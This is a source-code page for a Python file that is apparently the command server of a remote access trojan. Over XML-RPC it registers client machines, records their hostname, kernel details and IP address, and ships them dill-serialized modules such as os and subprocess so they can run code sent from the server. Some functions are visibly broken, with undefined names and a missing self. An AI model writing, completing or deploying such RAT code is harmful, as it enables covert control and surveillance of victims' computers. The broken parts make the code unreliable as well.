/
ratServer_workingcopy.py
87 lines (65 loc) · 2.69 KB
/
ratServer_workingcopy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/local/bin/python3
from xmlrpc import server, client
import socket
import dill
import os
import platform
import subprocess
from importlib import import_module
# server_ip = socket.gethostbyname(socket.gethostname())
server_ip = "0.0.0.0"
server_port = 4000
def convert_to(obj):
return client.Binary(dill.dumps(obj))
def convert_from(obj):
return dill.loads(obj.data)
def send_process(obj):
return convert_to(subprocess.check_output("ps -ef"))
def get_system_information():
kernel_info = platform.uname()
ip_address = socket.gethostbyname(kernel_info.node)
result = [kernel_info, ip_address]
return result
class Connected_client():
def __init__(self, hostname, kernel_info, ip_address):
self.hostname = hostname
self.kernel_info = kernel_info
self.ip_address = ip_address
class RatServer:
def __init__(self, server_ip=server_ip, server_port=server_port):
self.rat_server = server.SimpleXMLRPCServer((server_ip, server_port),
allow_none=True)
self.list_of_clients = []
def register_client(self, system_info):
rat_client_system = convert_from(system_info)
self.list_of_clients.append(Connected_client(hostname=rat_client_system[0].node,
kernel_info=rat_client_system[0],
ip_address=rat_client_system[1]))
print("Added {} to the list of clients".format(rat_client_system[0]))
for clients in self.list_of_clients:
print("###################")
print(clients.hostname)
for item in clients.kernel_info:
print(item)
print(clients.ip_address)
print("###################")
def send_library(library):
module = import_module(library)
return convert_to(getaddr(module, name))
def send_function(func):
return convert_to(func)
def create_client_server(self):
server_package = (server, RatServer)
return convert_to(server_package)
def send_required_libraries(self):
req_libraries = (os, socket, platform, subprocess)
return convert_to(req_libraries)
def sys_info(self):
return convert_to(get_system_information)
if __name__ == '__main__':
rat = RatServer()
rat.rat_server.register_function(rat.register_client, 'register_client')
rat.rat_server.register_function(rat.create_client_server, 'create_client_server')
rat.rat_server.register_function(rat.send_required_libraries, 'rcv_req_libs')
rat.rat_server.register_function(rat.sys_info, 'sys_info')
rat.rat_server.serve_forever()